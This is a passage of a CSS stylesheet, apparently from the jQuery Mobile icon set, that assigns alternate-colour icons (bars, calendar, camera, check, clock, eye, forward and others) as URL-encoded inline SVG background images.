url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M5%2C3V0L1%2C4l4%2C4V5c0%2C0%2C6%2C0%2C6%2C3s-5%2C4-5%2C4v2c0%2C0%2C7-1%2C7-6C13%2C4%2C8%2C3%2C5%2C3z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-bars:after, .ui-alt-icon .ui-icon-bars:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M1%2C4h12c0.553%2C0%2C1-0.447%2C1-1s-0.447-1-1-1H1C0.447%2C2%2C0%2C2.447%2C0%2C3S0.447%2C4%2C1%2C4z%20M13%2C6H1C0.447%2C6%2C0%2C6.447%2C0%2C7%20c0%2C0.553%2C0.447%2C1%2C1%2C1h12c0.553%2C0%2C1-0.447%2C1-1C14%2C6.447%2C13.553%2C6%2C13%2C6z%20M13%2C10H1c-0.553%2C0-1%2C0.447-1%2C1s0.447%2C1%2C1%2C1h12%20c0.553%2C0%2C1-0.447%2C1-1S13.553%2C10%2C13%2C10z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-bullets:after, .ui-alt-icon .ui-icon-bullets:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M5%2C4h8c0.553%2C0%2C1-0.447%2C1-1s-0.447-1-1-1H5C4.447%2C2%2C4%2C2.447%2C4%2C3S4.447%2C4%2C5%2C4z%20M13%2C6H5C4.447%2C6%2C4%2C6.447%2C4%2C7%20c0%2C0.553%2C0.447%2C1%2C1%2C1h8c0.553%2C0%2C1-0.447%2C1-1C14%2C6.447%2C13.553%2C6%2C13%2C6z%20M13%2C10H5c-0.553%2C0-1%2C0.447-1%2C1s0.447%2C1%2C1%2C1h8%20c0.553%2C0%2C1-0.447%2C1-1S13.553%2C10%2C13%2C10z%20M1%2C2C0.447%2C2%2C0%2C2.447%2C0%2C3s0.447%2C1%2C1%2C1s1-0.447%2C1-1S1.553%2C2%2C1%2C2z%20M1%2C6C0.447%2C6%2C0%2C6.447%2C0%2C7%20c0%2C0.553%2C0.447%2C1%2C1%2C1s1-0.447%2C1-1C2%2C6.447%2C1.553%2C6%2C1%2C6z%20M1%2C10c-0.553%2C0-1%2C0.447-1%2C1s0.447%2C1%2C1%2C1s1-0.447%2C1-1S1.553%2C10%2C1%2C10z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-calendar:after, .ui-alt-icon .ui-icon-calendar:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M0%2C8h2V6H0V8z%20M3%2C8h2V6H3V8z%20M6%2C8h2V6H6V8z%20M9%2C8h2V6H9V8z%20M12%2C8h2V6h-2V8z%20M0%2C11h2V9H0V11z%20M3%2C11h2V9H3V11z%20M6%2C11h2V9H6V11z%20%20M9%2C11h2V9H9V11z%20M12%2C11h2V9h-2V11z%20M0%2C14h2v-2H0V14z%20M3%2C14h2v-2H3V14z%20M6%2C14h2v-2H6V14z%20M9%2C14h2v-2H9V14z%20M12%2C1%20c0-0.553-0.447-1-1-1s-1%2C0.447-1%2C1H4c0-0.553-0.447-1-1-1S2%2C0.447%2C2%2C1H0v4h14V1H12z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-camera:after, .ui-alt-icon .ui-icon-camera:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M12%2C2.5H9.908c-0.206-0.581-0.756-1-1.408-1h-3c-0.652%2C0-1.202%2C0.419-1.408%2C1H2c-1.104%2C0-2%2C0.896-2%2C2v6c0%2C1.104%2C0.896%2C2%2C2%2C2%20h10c1.104%2C0%2C2-0.896%2C2-2v-6C14%2C3.396%2C13.104%2C2.5%2C12%2C2.5z%20M7%2C10.5c-1.657%2C0-3-1.344-3-3c0-1.657%2C1.343-3%2C3-3s3%2C1.343%2C3%2C3%20C10%2C9.156%2C8.657%2C10.5%2C7%2C10.5z%20M7%2C5.5c-1.104%2C0-2%2C0.896-2%2C2c0%2C1.104%2C0.896%2C2%2C2%2C2c1.104%2C0%2C2-0.896%2C2-2C9%2C6.396%2C8.104%2C5.5%2C7%2C5.5z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-carat-d:after, .ui-alt-icon .ui-icon-carat-d:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2211.949%2C3.404%207%2C8.354%202.05%2C3.404%20-0.071%2C5.525%207%2C12.596%2014.07%2C5.525%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-carat-l:after, .ui-alt-icon .ui-icon-carat-l:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2210.596%2C11.949%205.646%2C7%2010.596%2C2.05%208.475%2C-0.071%201.404%2C7%208.475%2C14.07%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-carat-r:after, .ui-alt-icon .ui-icon-carat-r:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%223.404%2C2.051%208.354%2C7%203.404%2C11.95%205.525%2C14.07%2012.596%2C7%205.525%2C-0.071%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-carat-u:after, .ui-alt-icon .ui-icon-carat-u:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%222.051%2C10.596%207%2C5.646%2011.95%2C10.596%2014.07%2C8.475%207%2C1.404%20-0.071%2C8.475%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-check:after, .ui-alt-icon .ui-icon-check:after, html .ui-alt-icon.ui-btn.ui-checkbox-on:after, html .ui-alt-icon .ui-btn.ui-checkbox-on:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2214%2C4%2011%2C1%205.003%2C6.997%203%2C5%200%2C8%204.966%2C13%204.983%2C12.982%205%2C13%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-clock:after, .ui-alt-icon .ui-icon-clock:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M7%2C0C3.134%2C0%2C0%2C3.134%2C0%2C7s3.134%2C7%2C7%2C7s7-3.134%2C7-7S10.866%2C0%2C7%2C0z%20M7%2C12c-2.762%2C0-5-2.238-5-5s2.238-5%2C5-5s5%2C2.238%2C5%2C5%20S9.762%2C12%2C7%2C12z%20M9%2C6H8V4c0-0.553-0.447-1-1-1S6%2C3.447%2C6%2C4v3c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1S9.553%2C6%2C9%2C6z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-cloud:after, .ui-alt-icon .ui-icon-cloud:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M14%2C9.5c0-0.793-0.465-1.473-1.134-1.795C12.949%2C7.484%2C13%2C7.249%2C13%2C7c0-1.104-0.896-2-2-2c-0.158%2C0-0.311%2C0.023-0.457%2C0.058%20C9.816%2C3.549%2C8.286%2C2.5%2C6.5%2C2.5c-2.33%2C0-4.224%2C1.777-4.454%2C4.046C0.883%2C6.76%2C0%2C7.773%2C0%2C9c0%2C1.381%2C1.119%2C2.5%2C2.5%2C2.5h10v-0.07%20C13.361%2C11.206%2C14%2C10.432%2C14%2C9.5z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-comment:after, .ui-alt-icon .ui-icon-comment:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M12%2C0H2C0.896%2C0%2C0%2C0.896%2C0%2C2v7c0%2C1.104%2C0.896%2C2%2C2%2C2h1v3l3-3h6c1.104%2C0%2C2-0.896%2C2-2V2C14%2C0.896%2C13.104%2C0%2C12%2C0z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-delete:after, .ui-alt-icon .ui-icon-delete:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2214%2C3%2011%2C0%207%2C4%203%2C0%200%2C3%204%2C7%200%2C11%203%2C14%207%2C10%2011%2C14%2014%2C11%2010%2C7%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-edit:after, .ui-alt-icon .ui-icon-edit:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M1%2C10l-1%2C4l4-1l7-7L8%2C3L1%2C10z%20M11%2C0L9%2C2l3%2C3l2-2L11%2C0z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-eye:after, .ui-alt-icon .ui-icon-eye:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M7%2C2C3%2C2%2C0%2C7%2C0%2C7s3%2C5%2C7%2C5s7-5%2C7-5S11%2C2%2C7%2C2z%20M7%2C10c-1.657%2C0-3-1.344-3-3c0-1.657%2C1.343-3%2C3-3s3%2C1.343%2C3%2C3%20C10%2C8.656%2C8.657%2C10%2C7%2C10z%20M7%2C6C6.448%2C6%2C6%2C6.447%2C6%2C7c0%2C0.553%2C0.448%2C1%2C1%2C1s1-0.447%2C1-1C8%2C6.447%2C7.552%2C6%2C7%2C6z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-forbidden:after, .ui-alt-icon .ui-icon-forbidden:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M12.601%2C11.187C13.476%2C10.018%2C14%2C8.572%2C14%2C7c0-3.866-3.134-7-7-7C5.428%2C0%2C3.982%2C0.524%2C2.813%2C1.399L2.757%2C1.343L2.053%2C2.048%20L2.048%2C2.053L1.343%2C2.758l0.056%2C0.056C0.524%2C3.982%2C0%2C5.428%2C0%2C7c0%2C3.866%2C3.134%2C7%2C7%2C7c1.572%2C0%2C3.018-0.524%2C4.187-1.399l0.056%2C0.057%20l0.705-0.705l0.005-0.005l0.705-0.705L12.601%2C11.187z%20M7%2C2c2.761%2C0%2C5%2C2.238%2C5%2C5c0%2C1.019-0.308%2C1.964-0.832%2C2.754L4.246%2C2.832%20C5.036%2C2.308%2C5.981%2C2%2C7%2C2z%20M7%2C12c-2.761%2C0-5-2.238-5-5c0-1.019%2C0.308-1.964%2C0.832-2.754l6.922%2C6.922C8.964%2C11.692%2C8.019%2C12%2C7%2C12z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-forward:after, .ui-alt-icon .ui-icon-forward:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M13%2C4L9%2C0v3C6%2C3%2C1%2C4%2C1%2C8c0%2C5%2C7%2C6%2C7%2C6v-2c0%2C0-5-1-5-4s6-3%2C6-3v3L13%2C4z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-gear:after, .ui-alt-icon .ui-icon-gear:after { background-image: 